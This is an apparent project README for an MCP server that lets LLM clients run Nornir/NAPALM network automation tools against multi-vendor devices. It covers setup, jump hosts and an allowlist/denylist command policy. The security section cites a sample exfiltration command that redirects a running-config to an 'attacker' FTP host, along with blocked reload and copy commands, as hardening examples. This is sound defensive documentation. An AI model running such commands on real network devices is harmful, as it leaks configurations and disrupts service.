Nornir MCP Server
Provides containerization for the server, enabling easy setup and deployment with Docker and Docker Compose.
Mentions integration with HashiCorp Vault for secrets management as an alternative to plaintext credentials in configuration files.
Uses Python-based frameworks like Nornir and NAPALM to provide network automation tools that can interact with multi-vendor network devices.
Uses YAML for configuration files including hosts, groups, and defaults, allowing structured definition of network devices and their properties.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@Nornir MCP Serverget facts for router1 and router2"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
🌐 Nornir MCP Server
An MCP server, built on the official MCP Python SDK v2's MCPServer class, providing network automation tools powered by Nornir and NAPALM.
This server acts as a bridge, exposing Nornir/NAPALM network operations as MCP (Model Context Protocol) tools, making them easily accessible from compatible MCP clients.
✨ Key Features
Concurrent & Multi-vendor: Leverages Nornir for inventory management and concurrent task execution against network devices using NAPALM for multi-vendor support.
Expanded Toolset: Provides over 20 tools, including a wide range of NAPALM getters (
get_facts,get_interfaces), execution commands (send_command,ping,traceroute), and inventory management (list_all_hosts).Structured, Token-Efficient Output:
send_commandreturns ntc-templates-parsed structured data (a list of dicts) instead of raw CLI text whenever a template exists for the platform+command — much cheaper for an LLM to read — falling back to raw text automatically otherwise. Only applies on platforms whose NAPALM driver is Netmiko-backed (ios,nxos_ssh,iosxr, ...); eAPI/NETCONF-based drivers (eos,junos, ...) always get raw text.send_commandalso passes through SSH output-filtering pipes (| include ...,| section ...,| begin ..., etc.) so the device itself trims the output before it ever reaches the model — see Command execution & security policy.Every NAPALM getter tool (
get_facts,get_interfaces, ...) declares a Pydantic return model via MCP'sstructured_output=True, so clients get a real JSON Schema instead of just a docstring — see MCP protocol features.
Robust Input Validation: Uses Pydantic models to validate all incoming data for tools, ensuring type safety and preventing errors from invalid inputs.
Secure Command Execution:
send_commandis gated by a configurable command policy (conf/command_policy.yaml) — an allowlist of read-only verbs (show,ping, ...) checked first, plus a denylist (exact commands, keywords, regex patterns) as defense-in-depth against dangerous commands smuggled after an allowed verb.Containerized & Fast: Containerized with Docker 🐳 for easy setup and uses
uvfor lightning-fast Python dependency management within the container ⚡.
Related MCP server: nornir-mcp-server
🔧 Prerequisites
Before you begin, ensure you have the following installed:
Docker Compose (Usually included with Docker Desktop)
⚙️ Configuration
Before running the server, you must configure your network inventory and device credentials:
Navigate to the
conf/directory in the project.Edit
hosts.yaml: Define your network devices, including their management IP, platform, credentials, and groups.Edit
groups.yaml: Define device groups with shared properties.Edit
defaults.yaml: Set default credentials and connection options.⚠️ Important Security Note: For production, strongly consider using Nornir's secrets management features to avoid storing plaintext credentials in YAML files.
Review
command_policy.yaml: Customizeallowed_prefixes(which read-only verbssend_commandaccepts at all) and the denylist entries (blocked commands/patterns) to fit your security policies — see Command execution & security policy for how the two layers interact.
Reaching devices through a jump host / bastion
No code change needed on Linux/macOS: NAPALM's ssh-backed drivers (ios, nxos_ssh, iosxr, ...) wrap Netmiko internally, and Netmiko natively honors a standard OpenSSH config file's ProxyJump/ProxyCommand directives — point it at one and it tunnels the device connection through the jump host automatically.
Copy
conf/ssh_config.exampletoconf/ssh_config(gitignored — it can reveal internal hostnames/proxy topology) and fill in your real jump host(s).Point
defaults.yaml(or a specificgroups.yaml/hosts.yamlentry) at it:connection_options: napalm: extras: optional_args: ssh_config_file: conf/ssh_config
Netmiko's ProxyJump support is single-hop only (it raises an error for a comma-separated multi-hop chain); for a real multi-hop path use ProxyCommand instead with ssh -J hop1,hop2 -W %h:%p ... — see the two examples in conf/ssh_config.example.
The jump host's own SSH keys/known_hosts need to be set up on whichever machine actually runs this server — that's OS-level SSH, not something this project manages.
⚠️ Known limitation — running natively on Windows:
ssh_config_file-based jump hosts do not work when this server runs directly under a native Windows Python interpreter (as opposed to inside the Linux-based Docker image, which is the supported production path and is unaffected). This was verified against a real device and root-caused down to the two libraries involved, not worked around blindly:
Netmiko's
_use_ssh_config()resolves the ssh_config path withos.path.abspath(), which always returns a backslash-separated path on Windows (e.g.C:\Users\me\nornir_mcp\conf\ssh_config), regardless of how the path is written in your config.That path gets embedded in a
ProxyCommandstring (ssh -F <path> -W host:port hop), which Paramiko'sProxyCommandthen parses withshlex.split()in POSIX mode — where\is an escape character, so every backslash is silently stripped (C:\Users\me\...\ssh_config→C:Usersme...sshconfig), producing a nonexistent path and a connection failure.This is unconditional — no
conf/ssh_configorhosts.yamlchange can avoid it, since bothabspath()andshlex.split()behave this way regardless of input. Workarounds if you need to test jump-host connectivity from native Windows (not needed when deploying via Docker):
Establish a manual SSH local port-forward instead (
ssh -f -N -L <local_port>:<device_ip>:22 <jump_host>) and pointhosts.yamldirectly at127.0.0.1:<local_port>, skippingssh_config_fileentirely.Or run the server inside Docker/WSL2 even for local dev, where paths are POSIX-style and this doesn't occur.
▶️ Running the Server
Once configured, you can easily run the server using Docker Compose:
docker-compose up --build -dThis command starts the Nornir MCP server in a Docker container, accessible on port 8000 of your host machine. The container now uses run.py as its entrypoint, which supports both development and production modes.
To run the server locally (without Docker), use:
python run.py --devor simply:
python run.pyThis will start the server on 127.0.0.1:8000 by default — pass --host 0.0.0.0 explicitly if you need it reachable from other machines (this server can push config and run commands on real devices, so it doesn't default to listening on every interface).
🔌 How to connect an MCP client
This project exposes the MCP server over HTTP using the streamable-http transport. There is a single endpoint:
HTTP API endpoint: http://:/mcp
Notes on transports and client setup:
The MCP server itself is an HTTP application (Starlette) served by Uvicorn. Connect MCP clients directly to
/mcpusing a client that supports the streamable-http transport.There is no separate
/sseendpoint — streamable-http is a single endpoint that already supports server-sent event streaming internally; it does not need (or expose) a second SSE path.You do NOT need to run this project in stdio mode for typical HTTP clients. Previously included instructions referencing running the server in "stdio mode" and proxying it with Supergateway were inaccurate for the normal usage of this repository.
Example MCP client JSON configuration (HTTP/streamable-http):
{
"name": "Nornir MCP (HTTP)",
"url": "http://localhost:8000/mcp",
"transport": "http"
}🔒 Command execution & security policy
send_command is the one tool that sends arbitrary operator-supplied text to a device, so it's gated by conf/command_policy.yaml — a two-layer, allowlist-first model (this replaces the older conf/blacklist.yaml, which was denylist-only):
allowed_prefixes(allowlist, checked first, the real security boundary): the command must start with one of these verbs (show,display,get,ping,tracerouteby default) or it's rejected outright, regardless of anything else in the file. Leaving this empty disables the allowlist gate and falls back to denylist-only enforcement — not recommended.exact_commands/keywords/disallowed_patterns/regex_patterns(denylist, checked second, defense-in-depth): catches anything that starts with an allowed verb but smuggles something dangerous after it. A denylist alone is never complete on its own — real gaps found and fixed during hardening of this server include:reload in 5/reload at 02:00slipping past an exact-match-onlyreloadentry — fixed by matchingreloadas a whole word viakeywordsinstead.copy run start(a standard IOS abbreviation) slipping past the full-phrase keywordcopy running-config startup-config— fixed with the regex patterncopy\s+run\S*\s+start\S*.show running-config | redirect ftp://attacker/dump.txt— starts with the allowed verbshow, so the allowlist alone doesn't stop it. Fixed by blocking pipe destination keywords (redirect,tee,append,save) while still allowing plain output-filtering pipes like| include,| section,| begin.
All of the above were verified against both unit tests and the real allowlist/denylist logic running against a live device, not just read from the code.
Output filtering pipes
send_command passes SSH pipe syntax straight through to the device (e.g. show interfaces | include up), so filtering happens on-device instead of in the returned payload — this cuts token usage substantially for large outputs like full running-configs. Only destination-style pipes (writing/exfiltrating output) are blocked by the policy above; filtering pipes are unaffected.
🧩 MCP protocol features (v2 SDK)
This server was migrated from mcp[cli]==1.15.0's FastMCP to mcp[cli]>=2.1.1's MCPServer and takes advantage of several v2-only mechanisms:
Tool Annotations (
mcp.types.ToolAnnotations): every tool declaresread_only_hint/destructive_hint/idempotent_hint/open_world_hintso a client or orchestrating agent can tell at the protocol level which tools are safe to call without a confirmation step, instead of only knowing it from a docstring. Device-facing tools (get_facts,send_command, ...) are markedopen_world_hint=Truesince they query a live external device whose state isn't fully known ahead of time; local-only tools (list_all_hosts,validate_params) are markedopen_world_hint=False.Structured tool output (
@mcp.tool(structured_output=True)): every NAPALM getter tool returns a Pydantic model (DeviceTaskResult,TracerouteResultModel) instead of a bare dict, so MCP auto-generates a JSON output schema for clients and strictly validates the real return value against that schema at runtime (raising an error on mismatch, not just documenting the shape).send_commandandlist_all_hostsdeliberately don't use this — their return shape genuinely varies (ntc-templates match vs. raw text; success vs. differently-shaped error dict), and MCP v2's strict runtime validation would reject a legitimately-varying shape.Cache hints (
mcp.server.caching.CacheHint):tools/list,resources/list,resources/templates/list,prompts/list, andserver/discoverare hinted as public/5-minute-cacheable, since the registered tool/resource/prompt set only changes on redeploy.resources/readgets a shorter 30-second hint instead, since resource content (inventory, topology) can change if someone edits theconf/YAML while the server is running.Resource security (enabled by default for file-backed resources): path traversal, absolute paths, and null bytes are rejected automatically when resolving a resource URI — verified empirically, not just assumed from the SDK's defaults.
Not used — MCP logging capability (
Context.info()/.warning()): this server logs locally via the standardloggingmodule rather than through MCP'sContext-based protocol logging. That MCP capability is deprecated as of the 2026-07-28 spec revision (SEP-2577, superseded by OpenTelemetry) — confirmed by an actualMCPDeprecationWarningraised at runtime when it was tried during development. It was removed rather than kept behind a deprecated API.Not used — progress reporting / resource-update notifications: evaluated and intentionally skipped. Every tool here operates on one device via one synchronous Nornir task run (including
send_command's multi-command case, which resolves inside a single task, not a loop of async-layer calls), so there's no natural midpoint to report progress from without breaking Nornir's one-task-per-connection model — splittingsend_commandinto per-command async-layer calls would force a new SSH connection per command instead of reusing one, a real performance regression for a token/UX benefit that doesn't apply to this server's typical single-device, few-command usage.
🧠 Prompts (custom prompt functions)
This server supports registering custom prompt functions that return a list of messages (MCP Prompt format). Prompts let you predefine conversational inputs that MCP clients or LLM-driven agents can call as named prompts. The MCP Python SDK's MCPServer class exposes a @server.prompt() decorator to register functions.
Key features:
Register synchronous or async prompt functions using
@server.prompt().Optionally provide a
name,title, anddescriptionto make prompts discoverable in MCP clients.Prompts can return structured messages including resource references (useful for returning file contents or inventory snippets).
How to add a prompt (example):
@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
hosts = nr_mgr.list_hosts()
return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]Async example with a resource:
@server.prompt()
async def show_topology() -> list:
topo = await server.read_resource("resource://topology")
return [{"role": "user", "content": {"type": "resource", "resource": topo}}]Usage notes:
After registering prompts, clients can discover them via the MCP
ListPromptsrequest and call them by name.Keep prompt functions lightweight and deterministic; avoid long-running operations inside prompts. If you need data gathered from devices, consider registering a tool and calling it from the prompt or returning a short resource reference that the client can fetch.
Security:
Prompts run inside the server process; do not perform unsafe file operations or execute untrusted code in prompt functions.
📦 Manual / local installation
Quick start — Docker (recommended)
Build and run with docker-compose (from repo root):
docker-compose up --build -dThis starts the server in the container and exposes it on port 8000 by default.
Quick start — Local
Create and activate a virtual environment.
& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activateInstall runtime dependencies (example):
pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"Run the server locally (binds to 127.0.0.1:8000 by default — pass
--host 0.0.0.0for a container or to expose it to other machines):
python run.pyOr with uv (recommended when using the included runner):
uv run .\run.pyIf you need to change host/port use the --host and --port flags when running run.py.
📚 Resources provided by the server
resource://inventory/hosts— returns JSON array of hosts with sanitized fields (name, hostname, platform, groups, data). Sensitive keys such asusername,password, andsecretare removed.resource://inventory/hosts/{keyword}— same output filtered by a keyword (case-insensitive) that matches name, hostname, platform, group names, or data values.resource://inventory/groups— returns groups mapping (sanitized).resource://topology— parsedresources/topology.json.resource://cisco_ios_commands— parsedresources/cisco_ios_commands.json.
How to add your own resources
Edit
resources.pyand add a function namedresource_<name>(e.g.,resource_my_tools).If your function needs the Nornir manager, accept a single parameter named
nr_mgr.Add an entry to
RESOURCE_MAPif you want a custom URI; otherwise a default URIresource://user/<name>is used.
Example resources.py snippet
def resource_my_static():
return {"hello": "world"}
def resource_my_hosts(nr_mgr):
# returns a JSON-serializable list of hosts
return nr_mgr.list_hosts()🔐 Security notes
Inventory YAML files may contain credentials. For production, prefer secrets management (Vault, environment variables, or Nornir secrets plugins) over plaintext YAML.
The server strips common sensitive keys (
username,password,secret) from resources served viaresource://inventory/*.send_commandis gated byconf/command_policy.yaml— see Command execution & security policy above.By default the server binds to
127.0.0.1, not0.0.0.0— this server can push config and run commands on real devices, so it doesn't default to listening on every interface. Pass--host 0.0.0.0explicitly if you need it reachable from other machines (e.g. inside Docker).conf/ssh_config(real jump-host config) is gitignored, since it can reveal internal hostnames/proxy topology — onlyconf/ssh_config.exampleis committed.
Contributing
Open an issue or PR for changes. Keep changes small and include tests where appropriate.
License
MIT
This server cannot be deployed
Maintenance
Related MCP Connectors
Nifty's MCP server — exposes tasks, projects, messages, and files as tools for AI agents.
The Remote MCP server acts as a standardized bridge between LLM applications (like Claude, ChatGPT, and Cursor) and external services, enabling AI agents to access external tools and resources. Its primary capability is providing a centralized search tool to discover other MCP servers and their respective tools. Unlike local implementations, it runs remotely with OAuth authentication and permission controls for security.
An MCP server that provides an API to LLMs to manage their JumpCloud resources.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceFastMCP is a comprehensive MCP server allowing secure and standardized data and functionality exposure to LLM applications, offering resources, tools, and prompt management for efficient LLM interactions.3MIT
- FlicenseAqualityFmaintenanceAn MCP server that integrates Nornir with NAPALM and Netmiko, enabling LLMs to orchestrate multi-vendor network infrastructure through natural language.52-
- FlicenseBqualityDmaintenanceAsynchronous MCP server for unified multi-platform network infrastructure management, providing 97 tools across 10 connectors including SSH, MikroTik, Palo Alto, Aruba, Graylog, LibreNMS, Cisco APIC/NDFC, and Panorama.9722-
- AlicenseNot gradedqualityDmaintenanceMCP server for network operations that lets AI assistants interact with Cisco/Juniper network devices through safe, well-defined tools like compliance audits and configuration backups.MIT